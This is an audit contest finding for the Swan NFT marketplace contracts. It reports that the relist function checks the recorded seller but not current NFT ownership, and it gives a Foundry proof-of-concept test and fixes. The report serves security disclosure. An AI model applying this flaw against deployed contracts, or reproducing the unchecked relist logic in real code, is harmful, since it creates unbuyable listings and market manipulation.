Dria
Swan
NFTHardhat
21,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

NFT Ownership-Listing Desynchronization Vulnerability

abhishekthakur

Summary

The Swan protocol's relist mechanism allows sellers to relist NFTs they no longer own, leading to failed purchases and potential market manipulation, due to lack of ownership validation during relisting.

Vulnerability Details

https://github.com/Cyfrin/2024-10-swan-dria/blob/main/contracts/swan/Swan.sol#L197-L255

The vulnerability exists in the relist function of the Swan contract where it only checks if the caller is the original seller (asset.seller) without validating current NFT ownership:

function relist(address _asset, address _buyer, uint256 _price) external {
AssetListing storage asset = listings[_asset];
​
// only the seller can relist the asset
if (asset.seller != msg.sender) {
revert Unauthorized(msg.sender);
}
// No NFT ownership check here
// Should verify: SwanAsset(_asset).ownerOf(1) == msg.sender
​
// relist can only happen after the round of its listing has ended
(uint256 oldRound,,) = BuyerAgent(asset.buyer).getRoundPhase();
if (oldRound <= asset.round) {
revert RoundNotFinished(_asset, asset.round);
}
...
}

The contract maintains a separate record of the seller through asset.seller which remains unchanged even if the NFT ownership changes. This creates a disparity between listing rights and actual NFT ownership.

The issue stems from treating listing rights as independent from NFT ownership, while the actual transfer of the NFT is required for the purchase to complete. This creates a situation where:

  1. Seller can list NFT

  2. Seller can transfer NFT to another address

  3. Seller can still relist the NFT

  4. Purchase will fail when attempted due to lack of ownership

POC

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
​
import {Test, console2} from "forge-std/Test.sol";
import {Swan} from "../contracts/swan/Swan.sol";
import {SwanAsset} from "../contracts/swan/SwanAsset.sol";
import {BuyerAgent} from "../contracts/swan/BuyerAgent.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {LLMOracleCoordinator} from "../contracts/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry} from "../contracts/llm/LLMOracleRegistry.sol";
​
contract SellRelistTest is Test {
Swan swan;
ERC20 token;
BuyerAgent buyerAgent;
LLMOracleCoordinator coordinator;
LLMOracleRegistry registry;
address seller = makeAddr("seller");
address buyer = makeAddr("buyer");
address newOwner = makeAddr("newOwner");
​
uint256 constant PRICE = 1 ether;
uint96 constant ROYALTY_FEE = 1;
uint256 constant AMOUNT_PER_ROUND = 2 ether;
​
function setUp() public {
// Deploy your token
token = new ERC20("Test Token", "TEST");
// Setup market parameters
Swan.SwanMarketParameters memory params = Swan.SwanMarketParameters({
withdrawInterval: 30 minutes,
sellInterval: 60 minutes,
buyInterval: 10 minutes,
platformFee: 1,
maxAssetCount: 5,
timestamp: block.timestamp
});
​
// Setup oracle parameters
LLMOracleTask.LLMOracleTaskParameters memory oracleParams = LLMOracleTask.LLMOracleTaskParameters({
difficulty: 1,
numGenerations: 1,
numValidations: 1
});
​
// Deploy Swan and other required contracts
// Note: You'll need to deploy registry, coordinator etc. here as well
swan = new Swan();
swan.initialize(params, oracleParams, address(coordinator), address(token), /* other params */);
​
// Create buyer agent
buyerAgent = swan.createBuyer(
"Test Buyer",
"Test Description",
ROYALTY_FEE,
AMOUNT_PER_ROUND
);
​
// Fund accounts
deal(address(token), seller, 10 ether);
deal(address(token), buyer, 10 ether);
​
// Approvals
vm.startPrank(seller);
token.approve(address(swan), type(uint256).max);
vm.stopPrank();
}
​
function test_RelistAfterTransfer() public {
// Initial listing in first sell phase
vm.startPrank(seller);
string memory name = "TEST NFT";
string memory symbol = "TNFT";
bytes memory desc = "Test Description";
swan.list(name, symbol, desc, PRICE, address(buyerAgent));
// Get the asset address from events or swan contract
address[] memory assets = swan.getListedAssets(address(buyerAgent), 0);
address assetAddr = assets[0];
SwanAsset asset = SwanAsset(assetAddr);
// Transfer NFT to new owner
asset.transferFrom(seller, newOwner, 1);
// Verify ownership changed
assertEq(asset.ownerOf(1), newOwner);
// Move to next sell phase
vm.warp(block.timestamp + 100 minutes); // Move past first round
// Original seller should still be able to relist
swan.relist(assetAddr, address(buyerAgent), PRICE);
// Verify listing details
Swan.AssetListing memory listing = swan.getListing(assetAddr);
assertEq(listing.seller, seller); // Original seller maintains listing rights
assertEq(uint(listing.status), uint(Swan.AssetStatus.Listed));
assertEq(listing.price, PRICE);
vm.stopPrank();
}
​
function test_PurchaseFailsAfterRelistWithoutOwnership() public {
// First do the listing and transfer like in previous test
vm.startPrank(seller);
string memory name = "TEST NFT";
string memory symbol = "TNFT";
bytes memory desc = "Test Description";
swan.list(name, symbol, desc, PRICE, address(buyerAgent));
address[] memory assets = swan.getListedAssets(address(buyerAgent), 0);
address assetAddr = assets[0];
SwanAsset asset = SwanAsset(assetAddr);
// Transfer NFT away
asset.transferFrom(seller, newOwner, 1);
// Move to next sell phase and relist
vm.warp(block.timestamp + 100 minutes);
swan.relist(assetAddr, address(buyerAgent), PRICE);
vm.stopPrank();
// Move to buy phase
vm.warp(block.timestamp + 60 minutes);
// Attempt purchase should revert
vm.startPrank(address(buyerAgent));
// Mock oracle response for purchase (you'll need to implement this based on your oracle setup)
// mockOracleResponse(assetAddr);
vm.expectRevert(); // The actual purchase should fail as seller doesn't own NFT
buyerAgent.purchase();
vm.stopPrank();
}
}

Impact

  • Creates invalid market state with unbuyable listings.

  • Breaks the main invariant, where non- owner are not allowed to relist

Tools Used

Manual Review, Foundry

Recommendations

Here are few recommendations that can be implemented:\

  • Ownership Validation

Add NFT ownership check in relist function:

function relist(address _asset, address _buyer, uint256 _price) external {
AssetListing storage asset = listings[_asset];
​
// Check both seller status and current ownership
if (asset.seller != msg.sender) {
revert Unauthorized(msg.sender);
}
if (SwanAsset(_asset).ownerOf(1) != msg.sender) {
revert NotOwner(msg.sender);
}
// Rest of the function...
}

  • Escrow System
    Implement an escrow system where NFTs are held by the Swan contract during listing:

function list(/* params */) external {
// ... existing checks ...
// Transfer NFT to contract during listing
SwanAsset(_asset).transferFrom(msg.sender, address(this), 1);
// Create listing
listings[_asset] = AssetListing({
seller: msg.sender,
status: AssetStatus.Listed,
// ... other fields ...
});
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DoS in BuyerAgent::purchase

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.